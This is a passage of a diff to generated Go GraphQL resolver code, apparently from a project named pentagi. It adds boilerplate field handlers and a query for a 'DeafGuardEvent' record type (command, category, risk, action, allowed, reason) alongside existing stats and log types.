nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(time.Time) + fc.Result = res + return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_AssistantLog_createdAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "AssistantLog", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type Time does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _DailyFlowsStats_date(ctx context.Context, field graphql.CollectedField, obj *model.DailyFlowsStats) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DailyFlowsStats_date(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Date, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(time.Time) + fc.Result = res + return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_DailyFlowsStats_date(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "DailyFlowsStats", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type Time does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _DailyFlowsStats_stats(ctx context.Context, field graphql.CollectedField, obj *model.DailyFlowsStats) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DailyFlowsStats_stats(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Stats, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(*model.FlowsStats) + fc.Result = res + return ec.marshalNFlowsStats2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐFlowsStats(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_DailyFlowsStats_stats(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "DailyFlowsStats", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "totalFlowsCount": + return ec.fieldContext_FlowsStats_totalFlowsCount(ctx, field) + case "totalTasksCount": + return ec.fieldContext_FlowsStats_totalTasksCount(ctx, field) + case "totalSubtasksCount": + return ec.fieldContext_FlowsStats_totalSubtasksCount(ctx, field) + case "totalAssistantsCount": + return ec.fieldContext_FlowsStats_totalAssistantsCount(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type FlowsStats", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _DailyToolcallsStats_date(ctx context.Context, field graphql.CollectedField, obj *model.DailyToolcallsStats) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DailyToolcallsStats_date(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Date, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(time.Time) + fc.Result = res + return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_DailyToolcallsStats_date(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "DailyToolcallsStats", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type Time does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _DailyToolcallsStats_stats(ctx context.Context, field graphql.CollectedField, obj *model.DailyToolcallsStats) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DailyToolcallsStats_stats(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Stats, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(*model.ToolcallsStats) + fc.Result = res + return ec.marshalNToolcallsStats2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐToolcallsStats(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_DailyToolcallsStats_stats(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "DailyToolcallsStats", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "totalCount": + return ec.fieldContext_ToolcallsStats_totalCount(ctx, field) + case "totalDurationSeconds": + return ec.fieldContext_ToolcallsStats_totalDurationSeconds(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type ToolcallsStats", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _DailyUsageStats_date(ctx context.Context, field graphql.CollectedField, obj *model.DailyUsageStats) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DailyUsageStats_date(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Date, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(time.Time) + fc.Result = res + return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_DailyUsageStats_date(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "DailyUsageStats", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type Time does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _DailyUsageStats_stats(ctx context.Context, field graphql.CollectedField, obj *model.DailyUsageStats) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DailyUsageStats_stats(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Stats, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(*model.UsageStats) + fc.Result = res + return ec.marshalNUsageStats2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐUsageStats(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_DailyUsageStats_stats(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "DailyUsageStats", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "totalUsageIn": + return ec.fieldContext_UsageStats_totalUsageIn(ctx, field) + case "totalUsageOut": + return ec.fieldContext_UsageStats_totalUsageOut(ctx, field) + case "totalUsageCacheIn": + return ec.fieldContext_UsageStats_totalUsageCacheIn(ctx, field) + case "totalUsageCacheOut": + return ec.fieldContext_UsageStats_totalUsageCacheOut(ctx, field) + case "totalUsageCostIn": + return ec.fieldContext_UsageStats_totalUsageCostIn(ctx, field) + case "totalUsageCostOut": + return ec.fieldContext_UsageStats_totalUsageCostOut(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type UsageStats", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _DeafGuardEvent_id(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_id(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.ID, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(int64) + fc.Result = res + return ec.marshalNID2int64(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_DeafGuardEvent_id(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "DeafGuardEvent", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type ID does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _DeafGuardEvent_flowId(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_flowId(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.FlowID, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(int64) + fc.Result = res + return ec.marshalNID2int64(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_DeafGuardEvent_flowId(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "AssistantLog", + Object: "DeafGuardEvent", Field: field, IsMethod: false, IsResolver: false, @@ -13312,8 +13965,8 @@ func (ec *executionContext) fieldContext_AssistantLog_flowId(_ context.Context, return fc, nil } -func (ec *executionContext) _AssistantLog_assistantId(ctx context.Context, field graphql.CollectedField, obj *model.AssistantLog) (ret graphql.Marshaler) { - fc, err := ec.fieldContext_AssistantLog_assistantId(ctx, field) +func (ec *executionContext) _DeafGuardEvent_timestamp(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_timestamp(ctx, field) if err != nil { return graphql.Null } @@ -13326,7 +13979,7 @@ func (ec *executionContext) _AssistantLog_assistantId(ctx context.Context, field }() resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.AssistantID, nil + return obj.Timestamp, nil }) if err != nil { ec.Error(ctx, err) @@ -13338,26 +13991,26 @@ func (ec *executionContext) _AssistantLog_assistantId(ctx context.Context, field } return graphql.Null } - res := resTmp.(int64) + res := resTmp.(int) fc.Result = res - return ec.marshalNID2int64(ctx, field.Selections, res) + return ec.marshalNInt2int(ctx, field.Selections, res) } -func (ec *executionContext) fieldContext_AssistantLog_assistantId(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_DeafGuardEvent_timestamp(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "AssistantLog", + Object: "DeafGuardEvent", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - return nil, errors.New("field of type ID does not have child fields") + return nil, errors.New("field of type Int does not have child fields") }, } return fc, nil } -func (ec *executionContext) _AssistantLog_createdAt(ctx context.Context, field graphql.CollectedField, obj *model.AssistantLog) (ret graphql.Marshaler) { - fc, err := ec.fieldContext_AssistantLog_createdAt(ctx, field) +func (ec *executionContext) _DeafGuardEvent_command(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_command(ctx, field) if err != nil { return graphql.Null } @@ -13370,7 +14023,7 @@ func (ec *executionContext) _AssistantLog_createdAt(ctx context.Context, field g }() resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.CreatedAt, nil + return obj.Command, nil }) if err != nil { ec.Error(ctx, err) @@ -13382,26 +14035,26 @@ func (ec *executionContext) _AssistantLog_createdAt(ctx context.Context, field g } return graphql.Null } - res := resTmp.(time.Time) + res := resTmp.(string) fc.Result = res - return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) fieldContext_AssistantLog_createdAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_DeafGuardEvent_command(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "AssistantLog", + Object: "DeafGuardEvent", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - return nil, errors.New("field of type Time does not have child fields") + return nil, errors.New("field of type String does not have child fields") }, } return fc, nil } -func (ec *executionContext) _DailyFlowsStats_date(ctx context.Context, field graphql.CollectedField, obj *model.DailyFlowsStats) (ret graphql.Marshaler) { - fc, err := ec.fieldContext_DailyFlowsStats_date(ctx, field) +func (ec *executionContext) _DeafGuardEvent_category(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_category(ctx, field) if err != nil { return graphql.Null } @@ -13414,7 +14067,7 @@ func (ec *executionContext) _DailyFlowsStats_date(ctx context.Context, field gra }() resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Date, nil + return obj.Category, nil }) if err != nil { ec.Error(ctx, err) @@ -13426,26 +14079,26 @@ func (ec *executionContext) _DailyFlowsStats_date(ctx context.Context, field gra } return graphql.Null } - res := resTmp.(time.Time) + res := resTmp.(string) fc.Result = res - return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) fieldContext_DailyFlowsStats_date(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_DeafGuardEvent_category(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "DailyFlowsStats", + Object: "DeafGuardEvent", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - return nil, errors.New("field of type Time does not have child fields") + return nil, errors.New("field of type String does not have child fields") }, } return fc, nil } -func (ec *executionContext) _DailyFlowsStats_stats(ctx context.Context, field graphql.CollectedField, obj *model.DailyFlowsStats) (ret graphql.Marshaler) { - fc, err := ec.fieldContext_DailyFlowsStats_stats(ctx, field) +func (ec *executionContext) _DeafGuardEvent_tier(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_tier(ctx, field) if err != nil { return graphql.Null } @@ -13458,7 +14111,7 @@ func (ec *executionContext) _DailyFlowsStats_stats(ctx context.Context, field gr }() resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Stats, nil + return obj.Tier, nil }) if err != nil { ec.Error(ctx, err) @@ -13470,36 +14123,26 @@ func (ec *executionContext) _DailyFlowsStats_stats(ctx context.Context, field gr } return graphql.Null } - res := resTmp.(*model.FlowsStats) + res := resTmp.(int) fc.Result = res - return ec.marshalNFlowsStats2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐFlowsStats(ctx, field.Selections, res) + return ec.marshalNInt2int(ctx, field.Selections, res) } -func (ec *executionContext) fieldContext_DailyFlowsStats_stats(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_DeafGuardEvent_tier(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "DailyFlowsStats", + Object: "DeafGuardEvent", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - switch field.Name { - case "totalFlowsCount": - return ec.fieldContext_FlowsStats_totalFlowsCount(ctx, field) - case "totalTasksCount": - return ec.fieldContext_FlowsStats_totalTasksCount(ctx, field) - case "totalSubtasksCount": - return ec.fieldContext_FlowsStats_totalSubtasksCount(ctx, field) - case "totalAssistantsCount": - return ec.fieldContext_FlowsStats_totalAssistantsCount(ctx, field) - } - return nil, fmt.Errorf("no field named %q was found under type FlowsStats", field.Name) + return nil, errors.New("field of type Int does not have child fields") }, } return fc, nil } -func (ec *executionContext) _DailyToolcallsStats_date(ctx context.Context, field graphql.CollectedField, obj *model.DailyToolcallsStats) (ret graphql.Marshaler) { - fc, err := ec.fieldContext_DailyToolcallsStats_date(ctx, field) +func (ec *executionContext) _DeafGuardEvent_risk(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_risk(ctx, field) if err != nil { return graphql.Null } @@ -13512,7 +14155,7 @@ func (ec *executionContext) _DailyToolcallsStats_date(ctx context.Context, field }() resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Date, nil + return obj.Risk, nil }) if err != nil { ec.Error(ctx, err) @@ -13524,26 +14167,26 @@ func (ec *executionContext) _DailyToolcallsStats_date(ctx context.Context, field } return graphql.Null } - res := resTmp.(time.Time) + res := resTmp.(string) fc.Result = res - return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) fieldContext_DailyToolcallsStats_date(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_DeafGuardEvent_risk(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "DailyToolcallsStats", + Object: "DeafGuardEvent", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - return nil, errors.New("field of type Time does not have child fields") + return nil, errors.New("field of type String does not have child fields") }, } return fc, nil } -func (ec *executionContext) _DailyToolcallsStats_stats(ctx context.Context, field graphql.CollectedField, obj *model.DailyToolcallsStats) (ret graphql.Marshaler) { - fc, err := ec.fieldContext_DailyToolcallsStats_stats(ctx, field) +func (ec *executionContext) _DeafGuardEvent_action(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_action(ctx, field) if err != nil { return graphql.Null } @@ -13556,7 +14199,7 @@ func (ec *executionContext) _DailyToolcallsStats_stats(ctx context.Context, fiel }() resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Stats, nil + return obj.Action, nil }) if err != nil { ec.Error(ctx, err) @@ -13568,32 +14211,26 @@ func (ec *executionContext) _DailyToolcallsStats_stats(ctx context.Context, fiel } return graphql.Null } - res := resTmp.(*model.ToolcallsStats) + res := resTmp.(string) fc.Result = res - return ec.marshalNToolcallsStats2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐToolcallsStats(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) fieldContext_DailyToolcallsStats_stats(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_DeafGuardEvent_action(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "DailyToolcallsStats", + Object: "DeafGuardEvent", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - switch field.Name { - case "totalCount": - return ec.fieldContext_ToolcallsStats_totalCount(ctx, field) - case "totalDurationSeconds": - return ec.fieldContext_ToolcallsStats_totalDurationSeconds(ctx, field) - } - return nil, fmt.Errorf("no field named %q was found under type ToolcallsStats", field.Name) + return nil, errors.New("field of type String does not have child fields") }, } return fc, nil } -func (ec *executionContext) _DailyUsageStats_date(ctx context.Context, field graphql.CollectedField, obj *model.DailyUsageStats) (ret graphql.Marshaler) { - fc, err := ec.fieldContext_DailyUsageStats_date(ctx, field) +func (ec *executionContext) _DeafGuardEvent_allowed(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_allowed(ctx, field) if err != nil { return graphql.Null } @@ -13606,7 +14243,7 @@ func (ec *executionContext) _DailyUsageStats_date(ctx context.Context, field gra }() resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Date, nil + return obj.Allowed, nil }) if err != nil { ec.Error(ctx, err) @@ -13618,26 +14255,26 @@ func (ec *executionContext) _DailyUsageStats_date(ctx context.Context, field gra } return graphql.Null } - res := resTmp.(time.Time) + res := resTmp.(bool) fc.Result = res - return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res) + return ec.marshalNBoolean2bool(ctx, field.Selections, res) } -func (ec *executionContext) fieldContext_DailyUsageStats_date(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_DeafGuardEvent_allowed(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "DailyUsageStats", + Object: "DeafGuardEvent", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - return nil, errors.New("field of type Time does not have child fields") + return nil, errors.New("field of type Boolean does not have child fields") }, } return fc, nil } -func (ec *executionContext) _DailyUsageStats_stats(ctx context.Context, field graphql.CollectedField, obj *model.DailyUsageStats) (ret graphql.Marshaler) { - fc, err := ec.fieldContext_DailyUsageStats_stats(ctx, field) +func (ec *executionContext) _DeafGuardEvent_mode(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_mode(ctx, field) if err != nil { return graphql.Null } @@ -13650,7 +14287,7 @@ func (ec *executionContext) _DailyUsageStats_stats(ctx context.Context, field gr }() resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Stats, nil + return obj.Mode, nil }) if err != nil { ec.Error(ctx, err) @@ -13662,33 +14299,63 @@ func (ec *executionContext) _DailyUsageStats_stats(ctx context.Context, field gr } return graphql.Null } - res := resTmp.(*model.UsageStats) + res := resTmp.(string) fc.Result = res - return ec.marshalNUsageStats2ᚖpentagiᚋpkgᚋgraphᚋmodelᚐUsageStats(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) fieldContext_DailyUsageStats_stats(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_DeafGuardEvent_mode(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "DailyUsageStats", + Object: "DeafGuardEvent", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { - switch field.Name { - case "totalUsageIn": - return ec.fieldContext_UsageStats_totalUsageIn(ctx, field) - case "totalUsageOut": - return ec.fieldContext_UsageStats_totalUsageOut(ctx, field) - case "totalUsageCacheIn": - return ec.fieldContext_UsageStats_totalUsageCacheIn(ctx, field) - case "totalUsageCacheOut": - return ec.fieldContext_UsageStats_totalUsageCacheOut(ctx, field) - case "totalUsageCostIn": - return ec.fieldContext_UsageStats_totalUsageCostIn(ctx, field) - case "totalUsageCostOut": - return ec.fieldContext_UsageStats_totalUsageCostOut(ctx, field) - } - return nil, fmt.Errorf("no field named %q was found under type UsageStats", field.Name) + return nil, errors.New("field of type String does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _DeafGuardEvent_reason(ctx context.Context, field graphql.CollectedField, obj *model.DeafGuardEvent) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_DeafGuardEvent_reason(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Reason, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(string) + fc.Result = res + return ec.marshalNString2string(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_DeafGuardEvent_reason(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "DeafGuardEvent", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type String does not have child fields") }, } return fc, nil @@ -24351,6 +25018,82 @@ func (ec *executionContext) fieldContext_Query_assistantLogs(ctx context.Context return fc, nil } +func (ec *executionContext) _Query_deafGuardEvents(ctx context.Context, field graphql.CollectedField) (ret graphql.Marshaler) { + fc, err := ec.fieldContext_Query_deafGuardEvents(ctx, field) + if err != nil { + return graphql.Null + } + ctx = graphql.WithFieldContext(ctx, fc) + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return ec.resolvers.Query().DeafGuardEvents(rctx, fc.Args["flowId"].(int64)) + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.([]*model.DeafGuardEvent) + fc.Result = res + return ec.marshalODeafGuardEvent2ᚕᚖpentagiᚋpkgᚋgraphᚋmodelᚐDeafGuardEventᚄ(ctx, field.Selections, res) +} + +func (ec *executionContext) fieldContext_Query_deafGuardEvents(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Query", + Field: field, + IsMethod: true, + IsResolver: true, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "id": + return ec.fieldContext_DeafGuardEvent_id(ctx, field) + case "flowId": + return ec.fieldContext_DeafGuardEvent_flowId(ctx, field) + case "timestamp": + return ec.fieldContext_DeafGuardEvent_timestamp(ctx, field) + case "command": + return ec.fieldContext_DeafGuardEvent_command(ctx, field) + case "category": + return ec.fieldContext_DeafGuardEvent_category(ctx, field) + case "tier": + return ec.fieldContext_DeafGuardEvent_tier(ctx, field) + case "risk": + return ec.fieldContext_DeafGuardEvent_risk(ctx, field) + case "action": + return ec.fieldContext_DeafGuardEvent_action(ctx, field) + case "allowed": + return 